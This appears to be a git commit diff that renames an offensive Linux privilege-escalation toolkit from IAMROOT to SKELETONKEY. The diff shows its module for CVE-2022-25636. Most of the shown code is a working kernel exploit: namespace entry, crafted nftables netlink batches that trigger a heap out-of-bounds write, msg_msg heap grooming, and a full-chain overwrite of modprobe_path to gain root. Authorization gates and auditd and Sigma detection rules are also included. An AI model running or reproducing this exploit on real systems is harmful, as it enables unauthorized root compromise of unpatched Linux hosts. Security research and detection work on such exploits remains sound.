rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -17,12 +17,12 @@ Original writeup:
|
||||
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
|
||||
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
|
||||
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
|
||||
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
|
||||
into kmalloc-512 with `IAMROOT_FWD` tags.
|
||||
into kmalloc-512 with `SKELETONKEY_FWD` tags.
|
||||
|
||||
`--full-chain` extends with stride-seeded forged action_entry
|
||||
overwrite aimed at modprobe_path via the shared finisher.
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* nft_fwd_dup_cve_2022_25636 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_FWD_DUP_IAMROOT_MODULES_H
|
||||
#define NFT_FWD_DUP_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module nft_fwd_dup_module;
|
||||
|
||||
#endif
|
||||
+50
-50
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* nft_fwd_dup_cve_2022_25636 — IAMROOT module
|
||||
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module
|
||||
*
|
||||
* Heap OOB write in net/netfilter/nf_dup_netdev.c ::
|
||||
* nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
|
||||
@@ -41,7 +41,7 @@
|
||||
* - nf_tables module loadable
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -125,12 +125,12 @@ static bool nf_tables_loaded(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The offload code path only exists from 5.4 onward. Anything
|
||||
@@ -140,7 +140,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
|
||||
"(nft offload hook introduced in 5.4)\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
|
||||
@@ -148,7 +148,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -172,14 +172,14 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n"
|
||||
" attacker can still hit the OOB.\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns "
|
||||
"clone allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -334,7 +334,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* Rule construction — the heart of the trigger.
|
||||
*
|
||||
* Strategy (Aaron Adams shape):
|
||||
* NEWTABLE netdev "iamroot_fdt"
|
||||
* NEWTABLE netdev "skeletonkey_fdt"
|
||||
* NEWCHAIN base chain on ingress, family=netdev,
|
||||
* flags = NFT_CHAIN_HW_OFFLOAD ← critical: this is what
|
||||
* drives nft_flow_rule_create() to call the offload hooks
|
||||
@@ -355,8 +355,8 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* the adjacent kmalloc-512 chunk. Boom.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "iamroot_fdt";
|
||||
static const char NFT_CHAIN_NAME[] = "iamroot_fdc";
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_fdt";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_fdc";
|
||||
static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */
|
||||
|
||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
@@ -513,7 +513,7 @@ static int spray_msg_msg_groom(int *queues, int n_queues)
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x46;
|
||||
memset(p.mtext, 0xAA, sizeof p.mtext);
|
||||
memcpy(p.mtext, "IAMROOT_FWD", 11);
|
||||
memcpy(p.mtext, "SKELETONKEY_FWD", 11);
|
||||
*(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM;
|
||||
|
||||
int created = 0;
|
||||
@@ -614,7 +614,7 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
* lockdep, KASAN can all shift it). We ship the layout for an
|
||||
* un-randomized x86_64 build in the exploitable range and rely on
|
||||
* the shared finisher's sentinel-file post-check to flag layout
|
||||
* mismatches as IAMROOT_EXPLOIT_FAIL rather than fake success.
|
||||
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
#ifdef __linux__
|
||||
@@ -646,7 +646,7 @@ static int spray_forged_action_entries(struct fwd_arb_ctx *c,
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x52; /* 'R' */
|
||||
memset(p.mtext, 0x52, sizeof p.mtext);
|
||||
memcpy(p.mtext, "IAMROOT_FWD_A", 13);
|
||||
memcpy(p.mtext, "SKELETONKEY_FWD_A", 13);
|
||||
*(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB;
|
||||
|
||||
/* Plant kaddr at strided 0x10-byte offsets across the first
|
||||
@@ -727,22 +727,22 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
|
||||
* Exploit driver.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Gate 0: explicit user authorization. */
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* Gate 1: already root? */
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
/* Gate 2: re-detect — kernel patched / userns denied since scan. */
|
||||
iamroot_result_t pre = nft_fwd_dup_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = nft_fwd_dup_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; "
|
||||
"refusing\n");
|
||||
return pre;
|
||||
@@ -751,7 +751,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->json) {
|
||||
if (ctx->full_chain) {
|
||||
@@ -768,28 +768,28 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
/* --- --full-chain path: resolve offsets before forking ---------- *
|
||||
* Refuse cleanly if we can't reach modprobe_path. */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets off;
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("nft_fwd_dup");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("nft_fwd_dup");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
(void)bring_lo_up();
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
@@ -804,7 +804,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
|
||||
uint8_t *batch = calloc(1, 32 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
size_t blen = build_trigger_batch(batch, &seq);
|
||||
@@ -817,7 +817,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n");
|
||||
drain_msg_msg(qids, SPRAY_QUEUES_GROOM);
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
struct fwd_arb_ctx ac = {
|
||||
@@ -828,7 +828,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
.qused = SPRAY_QUEUES_GROOM,
|
||||
};
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(
|
||||
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
|
||||
&off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
drain_msg_msg(qids, ac.qused);
|
||||
@@ -839,7 +839,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger ---------------- */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* CHILD: namespace + trigger. */
|
||||
@@ -890,7 +890,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
if (after < 0) after = slab_active("kmalloc-cg-512");
|
||||
|
||||
/* Breadcrumb for triage. */
|
||||
FILE *log = fopen("/tmp/iamroot-nft_fwd_dup.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-nft_fwd_dup.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n",
|
||||
@@ -919,7 +919,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
"likely fired (KASAN/oops can manifest as signal)\n",
|
||||
WTERMSIG(status));
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -933,19 +933,19 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
" the kaddr-tagged forged-entry spray reaches\n"
|
||||
" the shared modprobe_path finisher.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc >= 20 && rc <= 24) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed "
|
||||
"(child rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
@@ -953,7 +953,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
* Cleanup — drain leftover sysv queues and unlink the breadcrumb.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
|
||||
@@ -980,10 +980,10 @@ static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
|
||||
fclose(f);
|
||||
}
|
||||
#endif
|
||||
if (unlink("/tmp/iamroot-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -995,16 +995,16 @@ static const char nft_fwd_dup_auditd[] =
|
||||
"# Flag the canonical exploit shape: unprivileged userns followed\n"
|
||||
"# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n"
|
||||
"# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-fwd-dup-userns\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k iamroot-nft-fwd-dup-netlink\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-nft-fwd-dup-batch\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft-fwd-dup-spray\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-fwd-dup-userns\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k skeletonkey-nft-fwd-dup-netlink\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-nft-fwd-dup-batch\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft-fwd-dup-spray\n"
|
||||
"# Post-exploit hallmarks (modprobe_path overwrite path):\n"
|
||||
"-w /tmp/iamroot-mp- -p w -k iamroot-nft-fwd-dup-modprobe\n";
|
||||
"-w /tmp/skeletonkey-mp- -p w -k skeletonkey-nft-fwd-dup-modprobe\n";
|
||||
|
||||
static const char nft_fwd_dup_sigma[] =
|
||||
"title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n"
|
||||
"id: 3c1f9b27-iamroot-nft-fwd-dup\n"
|
||||
"id: 3c1f9b27-skeletonkey-nft-fwd-dup\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects unprivileged user namespace creation followed by\n"
|
||||
@@ -1024,7 +1024,7 @@ static const char nft_fwd_dup_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
|
||||
|
||||
const struct iamroot_module nft_fwd_dup_module = {
|
||||
const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.name = "nft_fwd_dup",
|
||||
.cve = "CVE-2022-25636",
|
||||
.summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)",
|
||||
@@ -1041,7 +1041,7 @@ const struct iamroot_module nft_fwd_dup_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_nft_fwd_dup(void)
|
||||
void skeletonkey_register_nft_fwd_dup(void)
|
||||
{
|
||||
iamroot_register(&nft_fwd_dup_module);
|
||||
skeletonkey_register(&nft_fwd_dup_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_FWD_DUP_SKELETONKEY_MODULES_H
|
||||
#define NFT_FWD_DUP_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nft_fwd_dup_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user